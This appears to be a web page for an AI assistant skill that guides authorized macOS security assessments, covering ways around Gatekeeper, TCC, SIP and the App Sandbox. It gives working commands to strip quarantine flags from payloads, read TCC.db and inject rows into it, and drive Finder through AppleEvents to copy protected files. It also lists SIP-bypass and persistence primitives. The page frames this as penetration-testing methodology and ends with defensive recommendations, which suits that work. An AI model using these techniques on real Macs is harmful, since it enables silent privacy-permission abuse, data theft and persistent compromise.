Assessing and bypassing macOS userland and platform security controls during authorized engagements - Gatekeeper/quarantine notarization checks, the TCC (Transparency, Consent & Control) privacy database, System Integrity Protection (SIP/rootless), and the App Sandbox - using codesign, spctl, xattr, sqlite3 against TCC.db, csrutil, sandbox-exec, and AppleEvents/Automation abuse.
Install with Codex or Claude Copy this prompt, paste it into Codex, Claude, or another assistant, and let it review the skill page and install it for you.
A direct command skips the review prompt. Inspect the source before running it.
Assessing and bypassing macOS userland and platform security controls during authorized engagements - Gatekeeper/quarantine notarization checks, the TCC (Transparency, Consent & Control) privacy database, System Integrity Protection (SIP/rootless), and the App Sandbox - using codesign, spctl, xattr, sqlite3 against TCC.db, csrutil, sandbox-exec, and AppleEvents/Automation abuse.
During authorized macOS assessments evaluating the strength of platform protections
When testing whether downloaded/quarantined payloads can evade Gatekeeper and notarization
When an app holds (or can obtain) TCC permissions like Full Disk Access, camera, or Automation
When assessing SIP integrity, rootless entitlements, and sealed system volume protections
When a process runs inside the App Sandbox and you need to map or escape its profile
Critical: Techniques Most Often Missed
1. Gatekeeper only checks quarantined files
Gatekeeper/notarization checks run only on files carrying the com.apple.quarantine xattr. Files written by non-quarantining tools (many BitTorrent clients) or with the attribute stripped skip the check entirely. AMFI re-verifies signatures on subsequent launches, but Gatekeeper itself is not run every time.
xattr file.app # is com.apple.quarantine present?
xattr -l portada.png # inspect quarantine value + writing app
xattr -d com.apple.quarantine payload.app # strip it (needs the file writable)
find . -iname '*' -print0 | xargs -0 xattr -d com.apple.quarantine
spctl --assess -vv /Applications/App.app # what Gatekeeper would decide
How to CONFIRM:xattr shows no com.apple.quarantine (or it was removed), and spctl --assess returns accepted/no prompt; the app launches without the first-run dialog.
2. TCC.db is the source of truth — read it from a privileged context
Approvals live in SQLite: the SIP-protected system DB /Library/Application Support/com.apple.TCC/TCC.db and the per-user $HOME/Library/Application Support/com.apple.TCC/TCC.db. Both are TCC-protected for read, so query them from an FDA/privileged process.
sqlite3 ~/Library/Application\ Support/com.apple.TCC/TCC.db \
"select service, client, auth_value, auth_reason from access;"# Find everything granted Full Disk Access:
sqlite3 /Library/Application\ Support/com.apple.TCC/TCC.db \
"select client from access where service='kTCCServiceSystemPolicyAllFiles' and auth_value=2;"
: denied(0), unknown(1), allowed(2), limited(3). With write access to a TCC.db you can an row (service, client, client_type 0=bundleid/1=path, auth_value 2, valid blob) to grant yourself a permission.
auth_value
INSERT
access
csreq
How to CONFIRM: the row exists with auth_value=2 and a matching csreq; the target app then exercises the permission without prompting.
3. Automation (AppleEvents) → Finder's implicit Full Disk Access
kTCCServiceAppleEvents over com.apple.Finder lets you drive Finder, which always has FDA (even though it isn't shown in the UI), to copy TCC-protected files.
osascript<<EOD
tell application "Finder"
set sourceFile to POSIX file "/Library/Application Support/com.apple.TCC/TCC.db" as alias
set targetFolder to POSIX file "/tmp" as alias
duplicate file sourceFile to targetFolder with replacing
end tell
EOD
How to CONFIRM:TCC.db (or other protected files) appears in /tmp; check the access row select * from access where service='kTCCServiceAppleEvents' and client LIKE '%yourapp%'.
Workflow
Step 1: Inspect signing, notarization, and entitlements
Apps need the relevant entitlement (e.g., com.apple.security.device.camera) even to request a resource. Apple apps carry pre-granted com.apple.private.tcc.allow and never prompt or appear in TCC.db.
Step 2: Enumerate Gatekeeper policy and the syspolicy DB
spctl --status # assessments enabled?sudo spctl --list # current rules
sqlite3 /var/db/SystemPolicy "SELECT requirement,allow,disabled,label FROM authority WHERE label!='GKE' AND disabled=0;"log stream --style syslog --predicate 'process == "syspolicyd"'# live decisions
Note: from macOS 15 Sequoia, spctl --master-disable/--global-disable no longer work; policy is managed via System Settings or an MDM com.apple.systempolicy.control profile. The Finder Ctrl+Open bypass is removed.
Step 3: Hunt and exercise TCC grants
# both DBs (from an FDA context)for db in"$HOME/Library/Application Support/com.apple.TCC/TCC.db" \
"/Library/Application Support/com.apple.TCC/TCC.db"; do
sqlite3 "$db""select service, client, auth_value from access where auth_value=2;"done
tccutil reset All com.some.bundle.id # users may reset/query rules
Check the com.apple.macl xattr (drag-and-drop grants store an app UUID; SIP-protected, removable only via zip/delete/unzip). Map a process's effective grants via its responsible process.
Step 4: Assess SIP and rootless protections
csrutil status # SIP enabled?
csrutil authenticated-root status # sealed system volumels -lOd /usr/libexec # 'restricted' flag = SIP-protectedls -lOd /usr/libexec/cups # 'sunlnk' = undeletablecat /System/Library/Sandbox/rootless.conf # protected paths; * = exception
Look for SIP-bypass primitives: entitlement com.apple.rootless.install[.heritable] (Shrootless / CVE-2022-26712), system_installd sourcing /etc/zshenv during Apple-signed pkg installs, systemmigrationd honoring BASH_ENV/PERL5OPT, or a non-existent path listed in rootless.conf you can create. A rootless.conf entry that doesn't yet exist (e.g., a plist under /System/Library/LaunchDaemons) can be created for SIP-resident persistence.
Step 5: Map and escape the App Sandbox
Any binary with com.apple.security.app-sandbox runs sandboxed; containers live in ~/Library/Containers/{BundleID}. Profiles use SBPL (Scheme). On macOS, processes opt in to the sandbox themselves.
# run a binary under a custom profile and trace every checkcat > /tmp/trace.sb <<'EOF'
(version 1)
(trace /tmp/trace.out)
EOF
sandbox-exec -f /tmp/trace.sb /bin/ls
log show --style syslog --predicate 'eventMessage contains[c] "sandbox"' --last 30s
# inspect a running PID's sandbox state (platform binaries / sbtool)
sbtool <pid> inspect
Review system profiles in /System/Library/Sandbox/Profiles/*.sb and /usr/share/sandbox/. App Store apps use application.sb. Anything a sandboxed app creates gets the quarantine attribute.
Key Concepts
Concept
Description
Gatekeeper
Verifies developer signature + Apple notarization before first run; enforced by syspolicyd
Quarantine xattr
com.apple.quarantine flag; Gatekeeper checks ONLY quarantined files
Notarization
Apple Notary Service ticket "stapled" to apps; absence/strip can skip checks
TCC
Privacy framework gating camera, mic, FDA, Automation, etc.; state in TCC.db SQLite
csreq
Code-signing requirement blob in TCC.db binding a grant to a specific signed binary
Entitlements
Plist capabilities in the code signature; required to even request a TCC resource
SIP / rootless
Kernel-enforced protection of system paths; flags restricted/sunlnk, config rootless.conf
Sealed System Volume
Cryptographically signed, read-only system snapshot mounted at /
App Sandbox (Seatbelt)
MACF-enforced profile (SBPL) limiting a process to allowed operations
Query Gatekeeper status, assess apps, manage labels (read-only on Sequoia+)
xattr
View/strip com.apple.quarantine and com.apple.macl attributes
sqlite3
Read/modify TCC.db access table and the /var/db/SystemPolicy authority table
tccutil
Reset/query TCC permissions
csrutil
Check SIP and sealed-root status (configured only in recovery)
osascript
Drive AppleEvents/Automation (Finder/Automator) to abuse FDA
sandbox-exec / sbtool
Run under a profile, trace sandbox checks, inspect a PID's sandbox state
log stream/show
Observe syspolicyd, XProtect, and sandbox decisions
Common Scenarios
Scenario 1: Quarantine strip
A payload downloaded outside a quarantining app (or after xattr -d com.apple.quarantine) launches without any Gatekeeper prompt because no quarantine flag triggers the check.
Scenario 2: FDA app abused to copy TCC.db
An app with Full Disk Access (or Automation over Finder) reads the system TCC.db and stages it, enabling offline analysis of all granted privacy permissions.
Scenario 3: TCC.db row injection
With write access to a user TCC.db, an attacker inserts an access row with auth_value=2 and a valid csreq, silently granting a controlled app a sensitive permission.
Scenario 4: SIP-resident persistence via rootless.conf gap
A path listed in rootless.conf that does not yet exist (e.g., a LaunchDaemon plist) is created, planting a payload in a SIP-protected location resistant to removal.
Output Format
## macOS Protection Bypass Finding
**Vulnerability**: TCC bypass via Automation → Finder Full Disk Access
**Severity**: High (CVSS 7.7)
**Control**: Transparency, Consent & Control (TCC)
**Host**: macHost.local (macOS 14.4, SIP enabled)
### Reproduction Steps
1. App holds kTCCServiceAppleEvents over com.apple.Finder
2. osascript drives Finder (implicit FDA) to duplicate TCC.db to /tmp
3. sqlite3 dumps all granted privacy permissions
### Evidence
| Artifact | Detail |
|----------|--------|
| Granting row | kTCCServiceAppleEvents / <bundleid> / auth_value=2 |
| Exfiltrated | /tmp/TCC.db (system, normally SIP/TCC protected) |
| Verdict | spctl --assess: accepted (notarized) |
### Recommendation
1. Restrict Automation grants; review apps with FDA / AppleEvents over Finder
2. Keep SIP enabled; monitor TCC.db and com.apple.macl integrity
3. Enforce Gatekeeper via MDM com.apple.systempolicy.control profile
4. Alert on quarantine-attribute removal and syspolicyd anomalies
5. Sandbox third-party apps and minimize entitlement grants
